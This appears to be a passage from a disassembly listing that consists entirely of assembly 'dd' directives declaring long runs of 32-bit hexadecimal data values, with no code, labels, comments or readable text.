		dd 0BF345D9Dh, 15CE951Fh, 0A5B795h, 4B2E3588h, 0A30977C5h
		dd 8ECDFB92h, 4D8197BDh, 1B657CD2h, 0E50BE62Ah,	90466FB9h
		dd 0ABFE8A12h, 18236E6Bh, 2DC57025h, 6F28675h, 37D5918Ah
		dd 9CA3800Eh, 0EDAF7C43h, 57B6E217h, 0C7D075ACh, 4AB4A25Bh
		dd 19C8BDDAh, 89FAD2C5h, 0A55C89F4h, 0E8415C01h, 9F525F5h
		dd 0D62C567Ah, 0AC1F1A46h, 3B78402Ch, 0B531E7C5h, 8587ED48h
		dd 0F0B604C2h, 0DA2134E0h, 0D7A22506h, 5CB4C943h, 50806D61h
		dd 51952920h, 0E1B20B5Ah, 0AC10EDD6h, 9FAE0140h, 36F1D905h
		dd 0B057E69Ch, 4BBD8592h, 0D534BE15h, 0FA7912BFh, 1DCF898h
		dd 9509CDD7h, 2BE403E1h, 0AB637E99h, 0A3E72807h, 2E540C2h
		dd 0BCC94415h, 7F6A12F8h, 3603613Dh, 9082B891h,	1789751Dh
		dd 0DD303595h, 1644443Fh, 3600846h, 508091ACh, 4BBAAEBBh
		dd 93D5923Ah, 0C01078D2h, 0D9E02C50h, 0F29C2E4Bh, 4B11F831h
		dd 6BEA9D0Ah, 258DADD8h, 61711EF1h, 964B4EC4h, 0B47E6C89h
		dd 68647C5Ah, 46B70B0Eh, 0ACD46E93h, 59608BFDh,	72030288h
		dd 540C207h, 558A1385h
		dd 6D004F44h, 0F72E69E4h, 5B38893h, 9E666597h, 6D17BA43h
		dd 4A0FC2B0h, 0B281E62Ah, 0A7743016h, 0F18DE64Bh, 0C1C1647Ah
		dd 9C163D82h, 95228D1Bh, 1CC4BF6Dh, 98544E60h, 0DFCF2302h
		dd 886FE9D5h, 932812CFh, 30515682h, 8AE67B00h, 9C4123h
		dd 0B32535B9h, 7C74E5A2h, 5B3AEE00h, 0DA7BEF81h, 0C22AF35Eh
		dd 405E17FBh, 0D4157C5Ah, 560F4A00h, 16361B0Eh,	90240148h
		dd 63AD25BBh, 45292F28h, 0EA8C943Bh, 1C80219Bh,	0F6500DEBh
		dd 957EF09Fh, 0D548DB51h, 8A0E0211h, 0AF12C6DDh, 0D4D066C9h
		dd 57250051h, 0EA2990CEh, 1E974CA7h, 0D4139EF9h, 0EC99B100h
		dd 0A0744976h, 0A4D60234h, 18D1BD01h, 5E0FE902h, 7A4E2B05h
		dd 8B9661FDh, 969DB17Ch, 1A9E88C1h, 1500C6EEh, 0FB44FD20h
		dd 46CAE8Fh, 1E8DB653h,	0CB15BCEAh, 89B1C290h, 0D56F55CAh
		dd 1F1BE425h, 474128CEh, 0F3A4B94Dh, 37C00C91h,	7D019F16h
		dd 6BA23167h, 9B6A5F15h, 1AB2C4DFh, 0AF000CE2h,	5019EFF9h
		dd 5F012C62h, 87073DAh,	6F3F6AD7h, 4F831F63h, 0C09C3954h
		dd 0E622A387h, 0B8F10003h, 0CFC593E2h, 6F0B4461h, 536ABD8Dh
		dd 0BE7478A6h, 272FCD01h, 3DE09B0Ah, 0F3C1A03Bh, 0C8FC0628h
		dd 7BCB7D25h, 9721D00Fh, 80B3533Fh, 0FF2E4DCFh,	4F852931h
		dd 0E15A12F1h, 0B8ED6D7Eh, 293016ABh, 916B0E57h, 0E45F2510h
		dd 2B420770h, 906CEA4Ch, 0CD013D58h, 0FCD4C802h, 489055B9h
		dd 0ED07B32Fh, 81569B3Ah, 4C015A8Ah, 64EDE03h, 77CAF9F1h
		dd 7A960AB7h, 18159004h, 0AFB4ADBCh, 6004246Ah,	0ABF780D2h
		dd 0F50F5C98h, 88C5276Eh, 6BEDF80h, 17A7B98Eh, 0BD1FF55h
		dd 635E41ADh, 0BDB9787Ah, 0C9961537h, 2E03E882h, 92FABFC7h
		dd 90E50E86h, 0DB524800h, 0A8ABB0h, 6A82C006h, 0D5BF6002h
		dd 2BBB590Eh, 0D74F6266h, 2EE2D861h, 1D5C81DDh,	1E0092Fh
		dd 9BE15BEDh, 0E830ED10h, 0ED195AD9h, 952B8017h, 5DE56A84h
		dd 1396A74Ch, 0E9CB9153h, 0C2382F55h, 66CB4087h, 4A8FBF48h
		dd 3B3F2A6Eh, 350C2501h, 895CBA9Ah, 7B18797Ch, 84F5A5AEh
		dd 0F1AEC31Ch, 746E6F13h, 0E7467000h, 8BC13EE1h, 31ECFB5Eh
		dd 4D371EC0h, 0A7FC5D7Dh, 8C602D00h, 0C60CC030h, 3503258Ah
		dd 352D9EE5h, 0B50A0FADh, 9806D3A0h, 9497667Ch,	5883939Bh
		dd 5F1C4F21h, 33025787h, 5EC53559h, 7E2BE89Bh, 7127BC07h
		dd 7260EBCAh, 90AA99C7h, 254525EFh, 467EC35Ch, 0B1007E18h
		dd 0BF942BCAh, 5C6C7274h, 8113EF40h, 127AEA15h,	0F6F5A612h
		dd 131E21ADh, 404E38Ah,	0B04067E3h, 14D58502h, 4070E602h
		dd 387C80BAh, 0B8CA5F33h, 858904ADh, 0C21F2341h, 43295537h
		dd 0EB099157h, 6AEF8110h, 5844C17Eh, 277743B3h,	572AEAFCh
		dd 6495EA50h, 40B30057h, 33870BE7h, 5F1C9E36h, 0E2A5E380h
		dd 4F7BF4B3h, 4A549040h, 0CA3CD6A2h, 366C00AAh,	0E5AF4421h
		dd 0BA716BFh, 42A2C8C7h, 3EBC7C07h, 8DA1E9F6h, 0A07BFD2Ah
		dd 5B811636h, 36A457C6h, 76E68053h, 31095F52h, 0FD072985h
		dd 0D1558832h, 33BB02F6h, 11503081h, 0B283297Eh, 6EA1D7FBh
		dd 0D02C5BDh, 4E7D7430h, 0C84CB81Ch, 0AB06A518h, 42457104h
		dd 0B8BA166Bh, 169D22D8h, 0BB615853h, 0BD948C34h, 15051D81h
		dd 1D9C622Fh, 0B5597C2Ch, 4A5E125h, 1F8BFE1Eh, 0D38161E8h
		dd 9A672FFBh, 0F7E84CE2h, 51806837h, 0ABAE947Bh, 0BC174E5Eh
		dd 0F30B2576h, 0AA1A12CFh, 6A4EC0CAh, 95F85F37h, 0BB0EB602h
		dd 8B821930h, 0B9012691h, 0F62A0848h, 0A87E0085h, 0CA39EAE3h
		dd 0F66E9DA3h, 980A120Ah, 0CD25A809h, 85FBE2C7h, 5205DD41h
		dd 0CD7DFCD4h, 3AA8E06Fh, 8274F94h, 6091E21Ch, 9C870F77h
		dd 0D0644C7Ah, 679B2A0h, 0A4F95B95h, 97B0A25Fh,	37FF00A9h
		dd 225F8366h, 0B398FECAh, 0DC1E3631h, 56D7CF80h, 82B9CC16h
		dd 0A33EE6E4h, 1648FB7Dh, 0DE07C9D8h, 5ADA800Ah, 9453F31h
		dd 22DBD0Bh, 0D3521B74h, 63E55092h, 86E82300h, 7C2D4B36h
		dd 2EDE8111h, 16C8219Ah, 0FEC44DC5h, 0BD4F66BDh, 0BAE8FCh
		dd 8D62A347h, 188C0F12h, 74E0F59Ch, 0FDCEFAh, 59CC3E52h
		dd 0EEBABC18h, 3F84881Eh, 4A92ECAAh, 79F0599Dh,	2E9D2E30h
		dd 8057FC2Fh, 140AE6FBh, 0F0042E8Dh, 3FF10203h,	4CE6B905h
		dd 6091739Dh, 2FD59D81h, 0E514419Dh, 2FA00DFAh,	0D5606628h
		dd 8CBC4051h, 0B897661Ch, 60404F2Fh, 68488ADDh,	6773BF04h
		dd 5AE869ACh, 0B53160C1h, 82406BC5h, 0FF61C68Bh, 25D098E1h
		dd 0B15E0245h, 0C214DC71h, 442B134Fh, 0C485006Dh, 5A880FDh
		dd 0DE02F8FCh, 0E7183AD4h, 516374D3h, 14C80FD1h, 0D1818BC4h
		dd 56022D59h, 0F81FC8C1h, 149D5B6Ah, 465255Eh, 4D4045EFh
		dd 16C8FA46h, 0E394660Bh, 0BD090438h, 60011F21h, 0FA3D9D0Bh
		dd 7725B2D5h, 0CE7BF4A0h, 89D8B2Ch, 0E90BB47Ch,	0D4CF5E1Fh
		dd 87001A46h, 0FAAEB506h, 0C0979360h, 7BF1A575h, 29CD2789h
		dd 502F9B46h, 0D072FB01h, 4B49E240h, 5DC55ECAh,	23D56BAEh
		dd 0A30C1314h, 0BC5B49B6h, 0E6082D69h, 0F134435Ch, 5BDAC1BFh
		dd 4A602CCFh, 17E0BDF6h, 0A80285B5h, 0F85C6390h, 109B5EBEh
		dd 0BD2F732Bh, 0F6BB9241h, 3BD141DDh, 0BFFFFC8Ch, 6B655704h
		dd 29AE5F62h, 8AECFCB4h, 0B0766331h, 0CA6BF98Bh, 28C862C6h
		dd 0F80AC4E6h, 0E6584EF8h, 8F0FE022h, 173B0172h, 5C15AA6Ch
		dd 0B2342E2Ah, 81C075E8h, 0A74552F3h, 425CE1A2h, 4BF38ED4h
		dd 8726FA94h, 0F59200Ch, 23FE912h, 308984ACh, 0DEA3F0D3h
		dd 1E54278h, 7DA2DBD4h,	2B04BF8Ch, 0A39632E8h, 0D7862D0h
		dd 0EC207620h, 244B31A6h, 0F6D685A2h, 0AADBA05Bh, 22CE00Ah
		dd 8FCC74F5h, 95D7D98Ah, 0F8BC42D9h, 23312560h,	7E189A9Dh
		dd 1B04D440h, 0D0C1FC3Ch, 0A64BEB8Ah, 0E08AA279h, 16BC3A72h
		dd 0ECF5CDDCh, 2E844E7Eh, 120E6EAAh, 0E3FC4D4Fh, 0FAB90B80h
		dd 5A51D351h, 0CEE26EE6h, 5688FF92h, 9D33125Fh,	962E4985h
		dd 9E82AA02h, 0E328274h, 7182DDDBh, 9605F6B3h, 0BC0149Bh
		dd 6346E4A4h, 55147A25h, 4C743A1Ah, 40F7586Bh, 567D6814h
		dd 51706B27h, 0A50B8072h, 0D2FD4EFBh, 0F61EC3Ch, 22A8C329h
		dd 69B63F4Ch, 0F3B5F18h, 7424A928h, 0DDDBEB70h,	0C56A6480h
		dd 96274A70h, 0F63FC27Ah, 0AC5C2708h, 11B46D6h,	6B4F8DA1h
		dd 74E4EF40h, 20534A50h, 34A2F003h, 8649A800h, 7C8344C5h
		dd 0D095016Fh, 53316951h, 14E13E5Fh, 6E3EE321h,	96958EDh
		dd 0FB12AD8Dh, 5D18B15Dh, 1610132h, 8F4E3578h, 0BB660403h
		dd 12AEC472h, 8DDAE277h, 847B2934h, 0E9A0468Fh,	37BF1744h
		dd 1DFE0166h, 0FC830CEBh, 294BD2B1h, 0E35AF1E8h, 9D09BBF2h
		dd 71BD1CB9h, 9BB3B484h, 0CEA7CBE8h, 377AAB93h,	9BF0FA00h
		dd 339E9636h, 0BC21604Fh, 26DC7AB6h, 57B10203h,	23ABB93Ah
		dd 0FC859152h, 607B7098h, 0EBD10CBFh, 0C12E3A22h, 10A3B295h
		dd 923A31h, 3071EDCCh, 6A830A3Fh, 0BFD4189Dh, 4E057B1Bh
		dd 81258C03h, 0BBBCEF04h, 71AF4912h, 21E65F3h, 444E650h
		dd 7D4E7B03h, 8A72C180h, 0BA343F62h, 69C762DAh,	657CD048h
		dd 68179EBDh, 228260A8h, 1C84090Ah, 616BD209h, 555F5Ch
		dd 0BF770F51h, 84314A5Ah, 2099E81Dh, 0AD4B9D2Eh, 0A5E77618h
		dd 0B350BDE5h, 0BAEE07FCh, 72D13848h, 0B174DA8Bh, 9717D86Bh
		dd 0EB808D98h, 0F723D373h, 23D1278Ah, 41A50901h, 3A8C0Eh
		dd 0ED51BF6Fh, 99D30ADh
		dd 9F0F374Bh, 0B76AF8Eh, 5B52960h, 6E169D2Fh, 0D760BCADh
		dd 4EF58D09h, 44469D29h, 0AEB7BB7Bh, 9A0A4400h,	60B25519h
		dd 296EDB0Ch, 95FC7C28h, 7B2D0ECh, 5AF75F4Fh, 4E09F110h
		dd 4470F681h, 9120FA15h, 7488D474h, 5D5B003Ah, 4FD093DFh
		dd 15054294h, 79CD3804h, 0C1A38Ch, 0AC5723E0h, 15C8944Dh
		dd 0B379F273h, 0F5D2FC09h, 1B513Ah, 707CD6BCh, 2C0E6BFBh
		dd 325FE136h, 938088BCh, 0F0C024B8h, 2E08A101h,	3A0E8760h
		dd 0F5202A19h, 5C3395h,	0FF42A668h, 0B64D66D2h,	4A37D727h
		dd 0D015F357h, 0D0093EAh, 0D217F168h, 974C5F0Eh, 0D88B1698h
		dd 0D17342B0h, 5A7E1C9Dh, 0C02C9E3Bh, 49258B26h, 39731359h
		dd 83A221h, 1ED6DEEAh, 422373Dh, 4D363072h, 0D1C2FBFCh
		dd 99E7A8DAh, 125B56CBh, 0D444E921h, 40653865h,	53CCD209h
		dd 0B272A631h, 45D8331Dh, 7226B953h, 0A73D0835h, 8A31E00Ah
		dd 231A9DD8h, 4A51F95Ch, 0B1EFA73Bh, 0BCC92FBh,	295C0493h
		dd 930919Dh, 65770157h,	603A5F95h, 0C6DFB700h, 7A87B283h
		dd 0C7D0B527h, 915D920h, 0B5F3805Bh, 7CEBFC79h,	7300D47Bh
		dd 0BE3693A5h, 4B9D8B9Fh, 2D1CFD51h, 58B778BAh,	78646FF5h
		dd 0D874AF78h, 68A8CDADh, 5DBC5825h, 6E568509h,	0A0A200DCh
		dd 473FA352h, 0C54EDD6Eh, 38E0B8C9h, 3D960387h,	0FDCBA7FFh
		dd 802022E8h, 6A5FF517h, 2CF00CE6h, 4E28B3F1h, 0C027E025h
		dd 1F993A8h, 3BB21E16h,	0A6981457h, 0FDE4762h, 0AE0AC0BEh
		dd 79706AE2h, 0DC2AB881h, 1E492EE8h, 0F3447F22h, 0AF5997h
		dd 48C203C9h, 0B0FFB50h, 40A671CBh, 60B08A95h, 0B51A7D29h
		dd 18A9AA60h, 375BB7h, 39E678A6h, 0EE00ABDEh, 19ED44EFh
		dd 62F3DC6h, 0F9A1857h,	7FBED226h, 2308FC40h, 5CC7023Fh
		dd 0EA599EBCh, 0C225DF09h, 0D79EAB5Fh, 0F4890196h, 2F55738Ah
		dd 47E67474h, 705ED2A2h, 40F8B7C2h, 0B52E11AAh,	66ABD871h
		dd 4B828358h, 2D7FCA61h, 0D94D73BCh, 0B2D9FE28h, 340AF00h
		dd 0F4F61DABh, 6D5900FBh, 0BBFD812Bh, 379D026Ah, 3A42014Fh
		dd 2AF898C6h, 2C821D1Ch, 77713310h, 58CC782h, 0E007B820h
		dd 0D4344B4Ch, 0C0349B0Fh, 76680CE2h, 19D2EDDh,	0E8191205h
		dd 2A9B475h, 800515A8h,	82D2E350h, 0E9D9DEC0h, 83E7B5DFh
		dd 21DC3408h, 586580B0h, 5FC12513h, 63A01900h, 0DADFCE2Ch
		dd 9D8495F3h, 0CB99BD23h, 0F15072F9h, 0E6608A57h, 977ED838h
		dd 3FDD6489h, 0E3AC178Dh, 63994B0Ah, 1240F73Eh,	9BFF2115h
		dd 0F2B69242h, 8919B109h, 0AA2D8C05h, 0A395C6D8h, 5FCAD8DAh
		dd 784CE6A8h, 9F630B7Bh, 0B974A9A0h, 558FCA6Eh,	0FF120124h
		dd 3104506Fh, 0A8CCF8AAh, 880F1375h, 0BB9E31BBh, 150E701Fh
		dd 0ED4A1E4Eh, 7CBB8485h, 59B914EBh, 0B043DE8Ch, 7D14B3E0h
		dd 22F170E6h, 9F71E4C9h, 1A33AC10h, 21879900h, 3DDBA52Bh
		dd 0AF2C2FD2h, 249762F2h, 854B351h, 0F189B512h,	3986894Fh
		dd 0CC037401h, 934FCBBCh, 0AB7DD8h, 493E19F5h, 64E5D2CCh
		dd 9EEEB77Eh, 0E4B5C77h, 219510A4h, 1852309h, 0B2B0D5B5h
		dd 0BFC80E2Bh, 2DBC68B0h, 0D0BF6F7Ah, 379AC4F9h, 2B7FA1FFh
		dd 456D87DDh, 50F18516h, 0AD278AFDh, 12272C55h,	278521BDh
		dd 32D44B38h, 5B502901h, 0F8B2DE9h, 9ADD29B3h, 4814D71Bh
		dd 0BE41598h, 15A51FCAh, 1B92FE14h, 4AF09EAAh, 0A04DB892h
		dd 0F7E856A0h, 35A36E3Eh, 0F3FD38C2h, 18C59D82h, 7252535Fh
		dd 5B00AF7Bh, 510FDB1Fh, 0B9EF0B2Eh, 0F55607BDh, 8D3E00F4h
		dd 85B01516h, 68252C65h, 7D19E296h, 0F989A90Eh,	37DFD46Ah
		dd 0CE384FDh, 0E2D9099Bh, 0A7E056DDh, 9DEC7DEh,	0A8DF2CE2h
		dd 0C6074222h, 82D0B402h, 0D7AE5EEFh, 854EBBB4h, 0EEC58388h
		dd 0C85F4FBEh, 2E02CA44h, 15BC6912h, 7016FBDEh,	5300CBDDh
		dd 0C7A964E7h, 12892F16h, 0E618B185h, 0DA8A04D8h, 0F3E6E380h
		dd 5AC18650h, 0BC8AB91Eh, 2179317h, 58F394CEh, 596C0957h
		dd 80275B7Dh, 53BB8B95h, 0E0F67022h, 0C5CBCE25h, 1681164h
		dd 0F16FD781h, 2F2374CEh, 407E0925h, 0A5887325h, 96C27B6Dh
		dd 18615F4Eh, 3957D2D4h, 0AB5111BBh, 6E7BE1FFh,	0D8371F72h
		dd 0DA0CF404h, 98A16CB8h, 5B55C204h, 0BF4170EDh, 6A3D6314h
		dd 75CA4ADBh, 85318871h, 79308D2Dh, 463BC4BCh, 25F460FCh
		dd 94792C41h, 0B3810F09h, 1BB8CCD2h, 25F6E4Ah, 54FB5BAAh
		dd 2548D637h, 1941168h,	0D10A5397h, 0B54FAFA4h,	84159121h
		dd 0DB9701Eh, 0A016B74Eh, 74ED552h, 9771CAB7h, 97847B63h
		dd 2CC8531Bh, 2F1900E4h, 14083773h, 600B20Bh, 75F0340Ah
		dd 4AFBF88Fh, 5F83F013h, 189EC19Dh, 0FAE18D11h,	4BCC9004h
		dd 8702092Fh, 0A175D280h, 0AA08BF0Ah, 8164B5DAh, 4CB7F086h
		dd 0EA7C8D6h, 5D881A5Bh, 0DD51005Ch, 4D85089Eh,	724AE153h
		dd 70C25AFBh, 3570AA5Bh, 6F3B01EAh, 0E4AF1D1Ah,	7D8B30A3h
		dd 57BC204Ah, 31FAB3E1h, 504DA858h, 0DE5524EDh,	0EF8135A2h
		dd 28584EC4h, 709B8026h, 0FE694CC0h, 23EFCEAh, 675BF610h
		dd 43C073CFh, 599532A9h, 0A64DC930h, 77191247h,	6E56089Ah
		dd 0E912B46Dh, 0C3E90109h, 0BA600001h, 133619E6h, 4312353h
		dd 0AC3AC4EBh, 0E1494655h, 242EA5FDh, 0F291B63Ch, 0FD7122h
		dd 817EF96Ch, 0D60005DAh, 74B5240Bh, 25F35A0Ch,	7AD2E7C6h
		dd 0D89853B5h, 0F25E1E6h, 2025D087h, 0F84B01F5h, 0FDEA698Dh
		dd 9F55440Bh, 90199587h, 824B5D80h, 55178659h, 0F5979531h
		dd 0D4BB8D44h, 88389B18h, 0A541C01Ch, 9B00E009h, 61928106h
		dd 342958B3h, 0AC65359Dh, 2D12665Fh, 25819583h,	0DA507BBBh
		dd 0EE012541h, 0FB96A876h, 0F081B8BDh, 882D2A8Ah, 32F128h
		dd 0DE27D668h, 539F6082h, 47D71EA9h, 19615953h,	2902E876h
		dd 557D40DCh, 1314D004h, 894A33B8h, 0D86F2BD3h,	0E8E46600h
		dd 0E76D5D31h, 61FBAE4Eh, 22DC9CEh, 11987F50h, 0D3B0E37Bh
		dd 0B6BD0D02h, 77CEAF47h, 0E57B80A9h, 49AFD170h, 3382F328h
		dd 2BF7F1BDh, 0C094CD0Ch, 0BC8B0F35h, 0EE13F4Fh, 0FC3B83DDh
		dd 0F9B8D257h, 0A837B9B5h, 89D62776h, 6795D850h, 9E4A16ECh
		dd 51F4C004h, 5E8D9509h, 4D08E60Ah, 0BC9DBCD7h,	0BD171625h
		dd 1888BA3Eh, 0B8281FC0h, 60C42D63h, 4692D54h, 51D1A584h
		dd 36603161h, 3479725h,	0BD4C9211h, 9E17ADC0h, 7B004742h
		dd 36C3EF2h, 29AC9837h,	62FFE67Ch, 3CF40471h, 4373F4h
		dd 48EBB9FAh, 0C4674AE3h, 16505B95h, 2C37EE84h,	21FC10D1h
		dd 3D009D2Eh, 4FE2A804h, 584F200Ah, 0A700D649h,	4CAD028h
		dd 40B9D47h, 39FE03E5h,	92C1AC06h, 2BC88F9h, 26A6DF4Bh
		dd 0A3117B2h, 9FDD25E0h, 72DCBE1h, 5396DF60h, 0AE82260h
		dd 8500FF7Ah, 7D6E94Ah,	985AC126h, 3E40BFBCh, 962FFE8Bh
		dd 82CDC52h, 5B1C07ADh,	0A7515349h, 558B5FF4h, 19946A35h
		dd 13BB807Bh, 5F6FD2BEh, 75F2040Bh, 50BD5212h, 0F16BD2h
		dd 8E2ECE2Dh, 4EE47611h, 78A8238h, 755A9A5Ch, 4E254D35h
		dd 0C0279FACh, 9E732973h, 70F8DF89h, 484FB59Fh,	1129D76Bh
		dd 0C89647F8h, 11BD0160h, 2644971Fh, 0C00D9A6h,	1AEE9CA0h
		dd 0E4B532D6h, 0FA1B01D2h, 0FFB914Bh, 25C1638Dh, 54CEC2DFh
		dd 5700DC34h, 0B9781F02h, 483FDD9h, 9D8B40C7h, 3E39BA0Dh
		dd 1DA8736Dh, 2BF3B503h, 0A4F511DFh, 0B315EC2h,	2E19BBC1h
		dd 4280DC75h, 3B7EC51Eh
		dd 383596BFh, 94997DFh,	6D6BB159h, 0C53440ECh, 0FD2F125Ah
		dd 5EE61ACEh, 0EB86444Ch, 16B3C4E0h, 0E0965BB1h, 0BB7160F3h
		dd 8F9C2F3Eh, 0B661FFB5h, 402CEE2h, 0EA781AB0h,	5D5257h
		dd 3D92C5BCh, 0E0FB8783h, 857FBED6h, 5F68FB07h,	0F8CF10E6h
		dd 0CB0481BBh, 24BEC559h, 0F8D7DEB8h, 0C70925B2h, 38781CB1h
		dd 0AC6EFE4Bh, 0F261B500h, 0C10D4BCh, 0C056364Ch, 70449479h
		dd 0E31F04B3h, 0AEC90613h, 36CD6821h, 0FF98C0h,	0EBE16AA8h
		dd 93706450h, 0D3EF5302h, 57A9F0D8h, 0ADDC2842h, 0E6BB0FBAh
		dd 3FE636E2h, 104802E0h, 62B88E2h, 1C2EC0A0h, 0E05E2610h
		dd 34B80D6h, 1715F38Dh,	93BCFDA9h, 0DA73A53Ah, 795213B1h
		dd 63A5D5Fh, 60F7ED75h,	8529CF49h, 0B5D9FABDh, 5EC9E25Bh
		dd 0E007D48Fh, 47351328h, 1632B1E1h, 2389C489h,	0BFE00474h
		dd 7427F8C6h, 0E038AD62h, 0CB3FF77Ah, 339F504h,	0F90536F2h
		dd 146DBA05h, 2816A2Ah,	0E909ADFCh, 0E005D07h, 298ED0BBh
		dd 0C18B0816h, 139E56Fh, 0F5EF2570h, 3DDF37EAh,	7E470032h
		dd 95903ABBh, 91502F2Fh, 0A77B9282h, 0E5A45AD3h, 6EFA60BFh
		dd 0BA5B509h, 0F0AC7B95h, 7AFB146Eh, 3019B308h,	0E8EBCBD6h
		dd 90D35B9Bh, 9119A92h,	0D4843FEAh, 859160FFh, 410E453Dh
		dd 0AD99CDF5h, 0C0126DD7h, 0EFB658Ah, 82BD664Ah, 20998582h
		dd 0B923DE18h, 0B014B560h, 3A4B90FDh, 9A3FE09Dh, 0AB6F8051h
		dd 9BFF549h, 0E273062h,	0BB80E871h, 2FE2B517h, 0B0D15FFFh
		dd 2B4409FCh, 0B4F3B060h, 31F067A4h, 2E53ECB8h,	8B80DD2Ch
		dd 0DBA1463Dh, 6A4A01A3h, 0D78340B9h, 1FC99600h, 68BB9031h
		dd 0B756F0FEh, 8F77460Bh, 13D6B40Ch, 0A2BC4503h, 717CC85Ah
		dd 0F3C99C01h, 9D0B8C7Fh, 5FFED26Fh, 91E4B5DFh,	54558117h
		dd 206E56F9h, 48C94A2h,	47AC1117h, 0A1B3A212h, 0ABEBD587h
		dd 81B837F5h, 0F2E98EB6h, 0C3205AB4h, 81CA84F5h, 0E62356ECh
		dd 7EDF007Dh, 0E5D8CE2Fh, 5B5B78F2h, 1AB21FA6h,	5F88730h
		dd 0DAC82303h, 17D2E876h, 5D0E17B3h, 58614553h,	30ECE313h
		dd 0D01FFCD2h, 20EE4EE7h, 55D9BFBEh, 0EC21B025h, 0CE82BD12h
		dd 24FC1815h, 0B28E71C0h, 2E9E39CBh, 0B95E1B27h, 8CB75FC9h
		dd 2DF6D798h, 4B860257h, 0D88A80DDh, 100DE5D5h,	0EA6A262Ch
		dd 9209A21Dh, 40B77C65h, 0C8CA3C89h, 179D7B00h,	0E9BE788Eh
		dd 42CDB202h, 0EDB50920h, 993DD50Ah, 0B70FB104h, 234DDCABh
		dd 1D9C0141h, 0DC8A00B0h, 0E4F970E6h, 0ADBF7102h, 5C289A4Fh
		dd 0AF0A93D3h, 95619E37h, 0DC6B26A5h, 5BB0DED2h, 5B526016h
		dd 0E83B7D89h, 88ABE4CCh, 22A08131h, 0E5348D01h, 0AFC8A913h
		dd 2B70276h, 4D287ABFh,	5AB7877h, 799531C8h, 0ED5FAF22h
		dd 0D76BBF45h, 0A1EE61AFh, 0E1AD0827h, 0C8668212h, 15C9BD16h
		dd 14C8D7BCh, 0C36D778Fh, 0D07D7AE2h, 882BAEh, 0D343015Bh
		dd 66E0DE2Ch, 514AE37Ah, 8CA63B25h, 0DC943106h,	5ED9025Bh
		dd 0DD6BDA94h, 85FF60C4h, 53F91464h, 0EA570149h, 0CE795535h
		dd 86977C24h, 41562AD2h, 222F5FA7h, 2D2F3214h, 0B76A36A5h
		dd 615200F6h, 1424FC71h, 0BB4007B7h, 20A64F72h,	6F7B428Ah
		dd 70E3DA20h, 0EF058AADh, 0E295129Dh, 6072842Ah, 1E73AC12h
		dd 75C809DBh, 0DF808235h, 0FE046A84h, 23256BAFh, 0E72C0516h
		dd 0A2CCFEB7h, 75EF860h, 2FB961FCh, 0B7FD0909h,	0BD98029h
		dd 0D69345C1h, 0CEB7CEC6h, 61C92FD4h, 0C3A5F7F9h, 2027E23h
		dd 3359A30Dh, 6D7DC02Bh, 63BCE084h, 0DE00C6E8h,	0FABBFD5Ah
		dd 0BD6F2A72h, 113890E0h, 7B95BA70h, 48DDDAA0h,	5C5291ECh
		dd 2916430Ah, 0B00DE925h, 0E155BD8Bh, 4BC48A2Bh, 80816A9Ah
		dd 6002BCC0h, 0F4F35D6h, 0EBE24237h, 0DFCED567h, 0C825AA71h
		dd 59290909h, 8D9D70EEh, 5037BB86h, 690582BBh, 2629BD09h
		dd 56BD38AFh, 6FAA30D6h, 484839h, 0F49B7EB3h, 2E016F55h
		dd 0A54CBDB5h, 3A9746E6h, 0D6837611h, 80E1FF04h, 0E1B8ABD7h
		dd 3E0428A1h, 1225B17Ah, 1A09DBC5h, 0F4E35C04h,	5453AA13h
		dd 525D5ECh, 0B318F9C7h, 0B7896055h, 617851C4h,	4BFD38D0h
		dd 4489008Ch, 9098600Ah, 1558DF0h, 0E180DCB5h, 576E045Ah
		dd 6F28AB4Eh, 70D70481h, 0BD36B3DCh, 1707C0Fh, 785C73B7h
		dd 0C2B58B47h, 1CB55521h, 8F891B91h, 2BD34077h,	5A52904Ah
		dd 5AD3FDB5h, 7750F2h, 9BB32C96h, 0A4BAD2EBh, 61997495h
		dd 2F5FF8B7h, 0C41C3434h, 0D45F3150h, 7A39F810h, 44407C9Dh
		dd 97A2BB60h, 591A04Bh,	51728A95h, 0A0B0C313h, 42688009h
		dd 58CB023Ch, 0E8015F75h, 265401BDh, 427C28A7h,	0D6A656ADh
		dd 0EA7730BFh, 0CA8C09BBh, 100429A5h, 9A8AEBE9h, 8E15C84Ah
		dd 9A715700h, 0CC82443Eh, 0BB5801FDh, 1D6B6AAAh, 86EA6036h
		dd 0B9601A44h, 29E087F8h, 0C950E29Ah, 9D7A467Fh, 0B014802h
		dd 9E96100h, 9BBDB702h,	10ED0500h, 25116D8Fh, 835EFE8Ah
		dd 0A1DB5C1h, 0BD9A4E0Eh, 7739C181h, 0E5127067h, 88D97EFFh
		dd 92DDA66Bh, 9573A5B2h, 6A9BE86Eh, 2F73C58h, 0E205EEE1h
		dd 0E4F7891Eh, 2DE1805Fh, 0A71A971Ah, 25509853h, 12897E72h
		dd 0BEB509B3h, 880FC1C1h, 0C1ACA93Bh, 0A2CD83E3h, 9267603Ah
		dd 0FF02A8DAh, 69A9BE38h, 0C8E74DF9h, 0F750607Bh, 4612E715h
		dd 0B5E1A8BCh, 0C281543Bh, 2466602Dh, 0B9004DB9h, 0CB5DAFACh
		dd 6AB402D3h, 6158DAB5h, 0BF10A270h, 855E5C60h,	0FFF8093Dh
		dd 0F592CB71h, 7A7F39AFh, 0F72A8F89h, 259E03C3h, 80EFAAAEh
		dd 0DB5B39B3h, 6A3CAC6Dh, 0C59F7650h, 0A037006Dh, 7341B011h
		dd 77DF2100h, 82F3D63Dh, 0B547EE71h, 1F90E871h,	8EFB4878h
		dd 2B08E593h, 1523F56Bh, 4A9AF10Ch, 0BFE8C090h,	222DF79h
		dd 0DBBC7CEh, 81F8C912h, 6FA213B7h, 0B821F990h,	18330091h
		dd 5F6FE686h, 6E4DF0E7h, 5C618971h, 0AC2212CCh,	0A582F4BAh
		dd 51A556FEh, 85872C17h, 65AF01C1h, 8908FE6Ah, 0D4223702h
		dd 0EE71B832h, 633EC390h, 22418ACBh, 42F89D0Ah,	32CE354Bh
		dd 9D9FF728h, 380FB37h,	88A82DFFh, 654B168Eh, 0F526BC92h
		dd 152593A8h, 5EA52165h, 0CC12D47Dh, 0FBB7B80Fh, 4096A5Eh
		dd 5030B83Fh, 0BB6B8CBEh, 0AE57C909h, 9D04AA22h, 894A2CDEh
		dd 9050B0Eh, 17E45FEDh,	59507660h, 29B1644Ah, 1BC7C53Fh
		dd 0E085E12h, 2F2EC585h, 6113F235h, 0AD6624AEh,	5C62E8FDh
		dd 0DF1F6EA5h, 14CD65E5h, 0B3621464h, 0B88A9055h, 24D316FBh
